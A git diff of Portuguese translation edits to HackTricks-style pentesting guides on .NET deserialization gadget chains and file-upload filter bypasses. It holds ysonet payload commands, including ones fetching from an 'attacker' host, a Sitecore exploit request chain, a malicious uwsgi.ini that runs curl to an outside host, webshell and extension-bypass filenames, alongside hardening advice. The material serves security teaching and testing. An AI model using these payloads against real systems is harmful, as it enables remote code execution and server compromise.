**envolver o _ObjectDataProvider_** dentro de uma instância **_ExpandedWrapper_** e, **quando desserializada**, essa classe irá **criar** o objeto _**ObjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_. +Esta classe permite s**pecificar os tipos de objeto dos objetos que são encapsulados** em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto de origem (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\ +Isto é muito útil para casos como o apresentado antes, porque seremos capazes de **envelopar \_ObjectDataProvider**_** dentro de uma instância **_**ExpandedWrapper** \_ e, **quando desserializado**, esta classe irá **criar** o _**OjectDataProvider**_ objeto que irá **executar** a **função** indicada em _**MethodName**_. -Você pode checar este wrapper com o código a seguir: +You can check this wrapper with the following code: ```java using System.Windows.Data; using System.Diagnostics; @@ -89,7 +89,7 @@ Na [official web page](https://www.newtonsoft.com/json) é indicado que esta bib ### Exemplo Json.Net -Antes de tudo, vamos ver um exemplo de como **serialize/deserialize** um objeto usando esta biblioteca: +Primeiro, vamos ver um exemplo de como **serialize/deserialize** um objeto usando esta biblioteca: ```java using System; using Newtonsoft.Json; @@ -132,9 +132,9 @@ Console.WriteLine(desaccount.Email); } } ``` -### Abusando do Json.Net +### Abusing Json.Net -Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) criei o exploit: +Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) eu criei o exploit: ```java yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { @@ -186,23 +186,23 @@ TypeNameHandling = TypeNameHandling.Auto ``` ## Advanced .NET Gadget Chains (YSoNet & ysoserial.net) -A técnica ObjectDataProvider + ExpandedWrapper apresentada acima é apenas uma entre MUITAS gadget chains que podem ser abusadas quando uma aplicação realiza **unsafe .NET deserialization**. Ferramentas modernas de red-team como **[YSoNet](https://github.com/irsdl/ysonet)** (e a mais antiga [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizam a criação de **grafos de objetos maliciosos prontos para uso** para dezenas de gadgets e formatos de serialização. +A técnica ObjectDataProvider + ExpandedWrapper introduzida acima é apenas uma das MUITAS cadeias de gadgets que podem ser abusadas quando uma aplicação realiza **desserialização .NET insegura**. Ferramentas modernas de red-team como **[YSoNet](https://github.com/irsdl/ysonet)** (e o mais antigo [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizam a criação de **object graphs maliciosos prontos para uso** para dezenas de gadgets e formatos de serialização. -Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads. +Abaixo está uma referência condensada das cadeias mais úteis fornecidas com *YSoNet* juntamente com uma rápida explicação de como funcionam e comandos de exemplo para gerar os payloads. -| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner | +| Cadeia de Gadgets | Ideia-chave / Primitiva | Serializadores Comuns | Comando YSoNet | |--------------|----------------------|--------------------|------------------| -| **TypeConfuseDelegate** | Corrompe o registro `DelegateSerializationHolder` de modo que, uma vez materializado, o delegate aponte para *qualquer* método fornecido pelo atacante (p.ex. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | -| **ActivitySurrogateSelector** | Abusa de `System.Workflow.ComponentModel.ActivitySurrogateSelector` para *bypass .NET ≥4.8 type-filtering* e invocar diretamente o **construtor** de uma classe fornecida ou **compilar** um arquivo C# em tempo de execução | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | -| **DataSetOldBehaviour** | Explora a representação **XML legado** de `System.Data.DataSet` para instanciar tipos arbitrários preenchendo os campos `` / `` (opcionalmente forjando a assembly com `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "…" --spoofedAssembly mscorlib > payload.xml` | -| **GetterCompilerResults** | Em runtimes com WPF (> .NET 5) encadeia getters de propriedades até alcançar `System.CodeDom.Compiler.CompilerResults`, então *compila* ou *carrega* uma DLL fornecida com `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | -| **ObjectDataProvider** (review) | Usa o WPF `System.Windows.Data.ObjectDataProvider` para chamar um método estático arbitrário com argumentos controlados. YSoNet adiciona uma conveniente variante `--xamlurl` para hospedar o XAML malicioso remotamente | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | -| **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` em `System.Management.Automation.PSObject` que é executado quando o PowerShell desserializa o objeto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | +| **TypeConfuseDelegate** | Corrompe o registro `DelegateSerializationHolder` de modo que, uma vez materializado, o delegate aponta para *qualquer* método fornecido pelo atacante (por exemplo `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | Abusa `System.Workflow.ComponentModel.ActivitySurrogateSelector` para *contornar a filtragem de tipos do .NET ≥4.8* e invocar diretamente o **construtor** de uma classe fornecida ou **compilar** um arquivo C# em tempo de execução | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | Aproveita a **representação XML legada** de `System.Data.DataSet` para instanciar tipos arbitrários preenchendo os campos `` / `` (opcionalmente forjando o assembly com `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "…" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | Em runtimes com suporte a WPF (> .NET 5) encadeia getters de propriedade até alcançar `System.CodeDom.Compiler.CompilerResults`, então *compila* ou *carrega* uma DLL fornecida com `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (review) | Usa WPF `System.Windows.Data.ObjectDataProvider` para chamar um método estático arbitrário com argumentos controlados. YSoNet adiciona uma variante conveniente `--xamlurl` para hospedar o XAML malicioso remotamente | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | Incorpora um `ScriptBlock` dentro de `System.Management.Automation.PSObject` que é executado quando o PowerShell desserializa o objeto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] -> Todos os payloads são **escritos em *stdout*** por padrão, tornando trivial encaminhá-los (pipe) para outras ferramentas (p.ex. geradores de ViewState, encoders base64, clientes HTTP). +> Todos os payloads são **escritos no *stdout*** por padrão, tornando trivial canalizá-los para outras ferramentas (por exemplo, geradores de ViewState, codificadores base64, clientes HTTP). -### Building / Installing YSoNet +### Compilando / Instalando YSoNet Se não houver binários pré-compilados em *Actions ➜ Artifacts* / *Releases*, o seguinte one-liner em **PowerShell** irá configurar um ambiente de build, clonar o repositório e compilar tudo no modo *Release*: ```powershell @@ -216,22 +216,22 @@ cd ysonet nuget restore ysonet.sln msbuild ysonet.sln -p:Configuration=Release ``` -The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`. +O arquivo compilado `ysonet.exe` pode então ser encontrado em `ysonet/bin/Release/`. -### Detecção & Hardening -* **Detecte** processos filhos inesperados de `w3wp.exe`, `PowerShell.exe`, ou qualquer processo que esteja desserializando dados fornecidos pelo usuário (por exemplo `MessagePack`, `Json.NET`). -* Habilite e **imponha type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) sempre que o `BinaryFormatter` / `NetDataContractSerializer` legado não puder ser removido. -* Sempre que possível migre para **`System.Text.Json`** ou **`DataContractJsonSerializer`** com conversores baseados em whitelist. +### Detecção & Endurecimento +* **Detecte** processos filho inesperados de `w3wp.exe`, `PowerShell.exe`, ou qualquer processo desserializando dados fornecidos pelo usuário (p.ex. `MessagePack`, `Json.NET`). +* Ative e **aplique filtragem por tipo** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) sempre que o legado `BinaryFormatter` / `NetDataContractSerializer` não puder ser removido. +* Quando possível, migre para **`System.Text.Json`** ou **`DataContractJsonSerializer`** com conversores baseados em whitelist. * Bloqueie assemblies WPF perigosos (`PresentationFramework`, `System.Workflow.*`) de serem carregados em processos web que nunca deveriam precisar deles. -## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter +## Sink do mundo real: Sitecore convertToRuntimeHtml → BinaryFormatter Um sink .NET prático acessível em fluxos autenticados do Sitecore XP Content Editor: - Sink API: `Sitecore.Convert.Base64ToObject(string)` envolve `new BinaryFormatter().Deserialize(...)`. -- Caminho de gatilho: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, que procura por um elemento irmão com `id="{iframeId}_inner"` e lê um atributo `value` que é tratado como dados serializados codificados em base64. O resultado é convertido para string e inserido no HTML. +- Caminho de disparo: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, que procura por um elemento irmão com `id="{iframeId}_inner"` e lê um atributo `value` que é tratado como dados serializados codificados em base64. O resultado é convertido (cast) para string e inserido no HTML. -Minimal end‑to‑end (authenticated): +Exemplo mínimo de ponta a ponta (autenticado): ``` // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx @@ -246,7 +246,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` -- Gadget: qualquer BinaryFormatter chain que retorna uma string (side‑effects executados durante a desserialização). Veja YSoNet/ysoserial.net para gerar payloads. +- Gadget: qualquer cadeia BinaryFormatter que retorne uma string (efeitos colaterais executados durante a deserialization). Veja YSoNet/ysoserial.net para gerar payloads. Para uma cadeia completa que começa pre‑auth com HTML cache poisoning em Sitecore e leva a este sink: diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 6f9fa10f6..36b269a6b 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -15,13 +15,13 @@ Other useful extensions: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Bypass das verificações de extensões +### Bypass file extensions checks -1. Se aplicável, **verifique** as **extensões anteriores**. Teste também usando letras **maiúsculas**: _pHp, .pHP5, .PhAr ..._ +1. Se aplicável, verifique as **extensões anteriores**. Também teste com algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._ 2. _Verifique **adicionar uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_ - _file.png.php_ - _file.png.Php5_ -3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Nota: você também pode tentar usar as **extensões** mencionadas **anteriormente**_) +3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Nota: você também pode tentar usar as **extensões** mencionadas anteriormente_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Other useful extensions: - _file._ - _file.php...._ - _file.pHp5...._ -4. Tente burlar as proteções **enganando o parser de extensão** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._ +4. Tente contornar as proteções **enganando o parser de extensão** do lado servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ Other useful extensions: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Adicione **outra camada de extensões** à checagem anterior: +5. Adicione **outra camada de extensões** ao teste anterior: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Tente colocar a **extensão de execução antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão **_.php_**, mas não necessariamente terminando em .php, executará código): +6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer arquivo com extensão **.php**, mesmo não terminando em .php, executará código): - _ex: file.php.png_ -7. Uso do **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um carácter dois-pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg"). Esse arquivo pode ser editado depois usando outras técnicas, como usar seu short filename. O padrão "**::$data**" também pode ser usado para criar arquivos não-vazios. Portanto, adicionar um ponto após esse padrão também pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data."). -8. Tente ultrapassar os limites do nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php +7. Uso do **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere dois-pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg"). Esse arquivo pode ser editado depois usando outras técnicas, como utilizando seu short filename. O padrão "**::$data**" também pode ser usado para criar arquivos não vazios. Portanto, adicionar um ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.") +8. Tente quebrar os limites de tamanho do nome do arquivo. A extensão válida é cortada e o PHP malicioso permanece. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -84,51 +84,51 @@ Então acesse o caminho salvo (típico em Laravel + LFM): ``` GET /storage/files/0xdf.php?cmd=id ``` -Mitigações: -- Atualize unisharp/laravel-filemanager para ≥ 2.9.1. -- Implemente allowlists estritos no lado do servidor e revalide o nome de arquivo persistido. -- Sirva uploads a partir de locais não executáveis. +Mitigations: +- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1. +- Enforce strict server-side allowlists and re-validate the persisted filename. +- Serve uploads from non-executable locations. ### Bypass Content-Type, Magic Number, Compression & Resizing -- Contorne verificações de **Content-Type** definindo o **valor** do **header** **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_ +- Contorne as verificações de **Content-Type** definindo o **valor** do **header** **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o _file_ command). Ou introduza o shell dentro dos **metadata**:\ +- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o _file_ command). Ou introduza o shell dentro dos **metadados**:\ `exiftool -Comment="' >> img.png` -- Se **compressão estiver sendo aplicada à sua imagem**, por exemplo usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que vai **sobreviver à compressão**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Contudo, você pode usar o **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que vai **sobreviver à compressão**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Outra técnica para criar uma payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que vai **sobreviver à compressão**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Se a **compressions is being added to your image**, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. Contudo, você pode usar o **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**. +- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- A página web também pode estar **resizing** a **image**, usando por exemplo as funções do PHP-GD `imagecopyresized` ou `imagecopyresampled`. Porém, você pode usar o **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**. +- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. Porém, você pode usar o **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**. +- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Other Tricks to check -- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para mudar a extensão). +- Encontre uma vulnerabilidade para **rename** o arquivo já enviado (para alterar a extensão). - Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor. - **Possível divulgação de informação**: -1. Envie **várias vezes** (e ao **mesmo tempo**) o **mesmo arquivo** com o **mesmo nome** -2. Envie um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe** -3. Enviar um arquivo com **".", ".." ou "…" como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salva os arquivos enviados no diretório "/www/uploads/", o arquivo com nome "." criará um arquivo chamado "uploads" no diretório "/www/". -4. Envie um arquivo que possa não ser facilmente deletado, como **"…:.jpg"** em **NTFS**. (Windows) -5. Envie um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` no nome. (Windows) -6. Envie um arquivo no **Windows** usando nomes **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. -- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **execute código** quando aberto acidentalmente pela vítima. +1. Faça upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome** +2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **folder** que **já existe** +3. Fazer upload de um arquivo com **"." , "..", or "..." como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salva os arquivos enviados em "/www/uploads/" directory, o nome de arquivo "." criará um arquivo chamado "uploads" em "/www/" directory. +4. Faça upload de um arquivo que pode não ser facilmente deletado, como **"...:.jpg"** em **NTFS**. (Windows) +5. Faça upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` no nome. (Windows) +6. Faça upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. +- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando for aberto acidentalmente pela vítima. ### Special extension tricks -Se você estiver tentando enviar arquivos para um **servidor PHP**, [veja o truque **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Se você estiver tentando enviar arquivos para um **servidor ASP**, [veja o truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Se você está tentando enviar arquivos para um **PHP server**, [dê uma olhada no truque de **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Se você está tentando enviar arquivos para um **ASP server**, [dê uma olhada no truque de **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Os arquivos `.phar` são como os `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo php** (executando-os com php, ou incluindo-os dentro de um script...). +Os arquivos `.phar` são como os `.jar` para Java, mas para PHP, e podem ser **used like a php file** (executando-os com php, ou incluindo-os dentro de um script...). -A extensão `.inc` às vezes é usada para arquivos php que são usados apenas para **importar arquivos**, então, em algum momento, alguém pode ter permitido **que esta extensão seja executada**. +A extensão `.inc` às vezes é usada para arquivos php que são apenas usados para **import files**, então, em algum momento, alguém pode ter permitido **que esta extensão seja executada**. ## **Jetty RCE** -Se você conseguir enviar um arquivo XML para um servidor Jetty você pode obter [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Assim, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere o shell! +Se você conseguir fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). Então, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere pela shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -136,9 +136,9 @@ Se você conseguir enviar um arquivo XML para um servidor Jetty você pode obter Para uma exploração detalhada desta vulnerabilidade, confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, destina-se a incluir o conteúdo de um arquivo. Entre os vários schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para finalidades nefastas como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado. +Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, foi projetado para incluir o conteúdo de um arquivo. Entre os diversos schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado. -Considere o seguinte exemplo de um `uwsgi.ini` malicioso, mostrando vários schemes: +Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, demonstrando vários schemes: ```ini [uwsgi] ; read from a symbol @@ -156,14 +156,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso de auto-reload, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações. +A execução do payload ocorre durante a análise do ficheiro de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o ficheiro deve ser configurado com auto-reload. A funcionalidade auto-reload, se ativada, recarrega o ficheiro em intervalos especificados ao detetar alterações. -É crucial entender a natureza permissiva do parsing dos arquivos de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial. +É crucial compreender a natureza permissiva da análise do ficheiro de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido num ficheiro binário (como uma imagem ou PDF), ampliando ainda mais o âmbito de exploração potencial. -## **wget Envio de Arquivos/SSRF Truque** +## **wget File Upload/SSRF Trick** -Em algumas ocasiões você pode descobrir que um servidor está usando **`wget`** para **download de arquivos** e você pode **indicar** o **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que apenas arquivos permitidos serão baixados. No entanto, **essa verificação pode ser contornada.**\ -O **comprimento máximo** de um **filename** em **linux** é **255**, no entanto, **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **download a file called "A"\*232+".php"+".gif"**, esse nome de arquivo vai **bypassar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**) mas `wget` irá **renomear** o arquivo para **"A"\*232+".php"**. +Por vezes pode acontecer que um servidor esteja a usar o **`wget`** para **descarregar ficheiros** e você possa **indicar** a **URL**. Nestes casos, o código pode verificar que a extensão dos ficheiros descarregados está numa whitelist para assegurar que apenas ficheiros permitidos serão descarregados. Contudo, **esta verificação pode ser contornada.**\ + +O **comprimento máximo** de um **nome de ficheiro** em **linux** é **255**, no entanto, o **wget** trunca os nomes de ficheiros para **236** caracteres. Pode **descarregar um ficheiro chamado "A"\*232+".php"+".gif"**, este nome de ficheiro irá **contornar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas `wget` irá **renomear** o ficheiro para **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -186,17 +187,17 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Observe que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, então a URL inicial passará pela verificação, mas o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget vai baixar a página redirecionada com o nome do arquivo indicado na URL original**. +Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **HTTP server** redirecionar para um arquivo diferente, de modo que a URL inicial passe pela verificação e então o wget baixe o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget fará o download da página redirecionada com o nome do arquivo indicado na URL original**. ## Ferramentas -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters na testagem de mecanismos de upload de arquivos. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para ajudar Pentesters e Bug Hunters a testar file upload mechanisms. Ela aproveita várias bug bounty techniques para simplificar o processo de identificar e explorar vulnerabilidades, garantindo avaliações completas de aplicações web. ### Corrupting upload indices with snprintf quirks (historical) -Alguns handlers de upload legados que usam `snprintf()` ou similares para construir arrays multi-file a partir de um upload de arquivo único podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento do `snprintf()`, um upload cuidadosamente construído pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume uma forma rígida (por exemplo, tratando-o como um upload multi-file e tomando ramos inseguros). Embora seja algo raro hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases mais antigas. +Alguns handlers de upload legados que usam `snprintf()` ou similar para construir multi-file arrays a partir de um upload single-file podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume um formato estrito (por exemplo, tratando-o como um upload multi-file e tomando caminhos inseguros). Embora seja nicho hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases mais antigas. -## From File upload to other vulnerabilities +## Do upload de arquivos para outras vulnerabilidades - Set **filename** to 